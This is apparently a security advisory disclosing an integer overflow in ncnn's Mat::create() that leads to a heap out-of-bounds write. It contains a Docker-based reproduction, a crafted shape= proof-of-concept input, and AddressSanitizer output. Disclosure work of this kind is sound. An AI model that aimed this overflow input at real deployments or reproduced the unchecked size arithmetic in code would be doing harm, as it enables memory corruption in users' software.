Integer Overflow Causes Heap Out-of-Bounds Write
Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/mat.cpp:421 in Mat::create(int, int, int, size_t, Allocator*)
Sanitizer verdict: heap-buffer-overflow
Summary
Tensor dimensions supplied through benchncnn's shape= argument are passed unchecked into ncnn::Mat::create(), where the byte-size computation wraps around 64 bits. fastMalloc() then receives a tiny wrapped size, and the reference-count initialisation writes 4 bytes before the resulting allocation. The entry point is benchncnn, which parses the shape list in parse_shape_list() and constructs the Mat directly; the same arithmetic is reachable from any caller that can influence three-dimensional Mat extents.
Detail
The untrusted values are the three integers of the shape= list. parse_shape_list() forwards them straight to the Mat(w, h, c) constructor at benchmark/benchncnn.cpp:222 with no range or product check. Mat::create() computes cstep and the total byte size in size_t, allocates totalsize + sizeof(*refcount), and then places the reference count at data + totalsize:
// src/mat.cpp:404
cstep = alignSize((size_t)w * h * elemsize, 16) / elemsize;
#if NCNN_BATCH
nstep = total();
#endif
size_t totalsize = alignSize(total() * elemsize, 4);
if (totalsize > 0)
{
if (allocator)
data = allocator->fastMalloc(totalsize + (int)sizeof(*refcount));
else
data = fastMalloc(totalsize + (int)sizeof(*refcount));
}
if (data)
{
refcount = (int*)(((unsigned char*)data) + totalsize);
*refcount = 1;
}
With the PoC shape [2, 2147483646, 1073741825], cstep evaluates to 4294967292 and total() * elemsize is 4 * (2^62 - 4), which wraps to 2^64 - 16. alignSize leaves that value unchanged, so totalsize is 2^64 - 16. fastMalloc() is called with totalsize + 4, and inside it the further + NCNN_MALLOC_OVERREAD wraps the request all the way down to 52 bytes — the allocation ASan reports.
totalsize > 0 is still true and data is non-null, so the guard at line 410 is useless. refcount = data + totalsize is data + (2^64 - 16), i.e. data - 16, and *refcount = 1 at line 421 writes 4 bytes 16 bytes before the 52-byte region. ASan reports the write and aborts; without instrumentation the store lands in an unrelated allocator header.
Reproduce
Build and run (writes the Dockerfile, builds ncnn with ASan, runs the PoC)
mkdir -p ncnn-poc-integer-overflow-causes-heap-out-of-bounds-write && cd ncnn-poc-integer-overflow-causes-heap-out-of-bounds-write
cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends \
git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
protobuf-compiler libprotobuf-dev \
&& pip3 install --no-cache-dir --break-system-packages onnx protobuf \
&& rm -rf /var/lib/apt/lists/*
RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn
WORKDIR /ncnn
RUN cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
-DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
&& cmake --build build -j"$(nproc)"
ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE
docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
/ncnn/build/benchmark/benchncnn 0 1 2 -1 0 'shape=[2,2147483646,1073741825]'
AddressSanitizer output:
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50a000000030 at pc 0x560ff419e3e4 bp 0x7ffec5e00a40 sp 0x7ffec5e00a30
WRITE of size 4 at 0x50a000000030 thread T0
#0 0x560ff419e3e3 in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:421
#1 0x560ff413f181 in ncnn::Mat::Mat(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.h:932
#2 0x560ff413f181 in parse_shape_list /ncnn/benchmark/benchncnn.cpp:222
#3 0x560ff414280b in main /ncnn/benchmark/benchncnn.cpp:304
#4 0x7ccf183a01c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#5 0x7ccf183a028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#6 0x560ff41385c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)
0x50a000000030 is located 16 bytes before 52-byte region [0x50a000000040,0x50a000000074)
allocated by thread T0 here:
#0 0x7ccf18a19f1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x560ff419e2a9 in fastMalloc /ncnn/src/allocator.h:62
#2 0x560ff419e2a9 in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:415
#3 0x560ff413f181 in ncnn::Mat::Mat(int, int, int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.h:932
#4 0x560ff413f181 in parse_shape_list /ncnn/benchmark/benchncnn.cpp:222
#5 0x560ff414280b in main /ncnn/benchmark/benchncnn.cpp:304
#6 0x7ccf183a01c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#7 0x7ccf183a028a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
#8 0x560ff41385c4 in _start (/ncnn/build/benchmark/benchncnn+0x2a05c4) (BuildId: a6c071b95ca7d23bb614b19f781e769f3f7d9429)
SUMMARY: AddressSanitizer: heap-buffer-overflow /ncnn/src/mat.cpp:421 in ncnn::Mat::create(int, int, int, unsigned long, ncnn::Allocator*)
Credit
Zheng Yu @ DepthFirst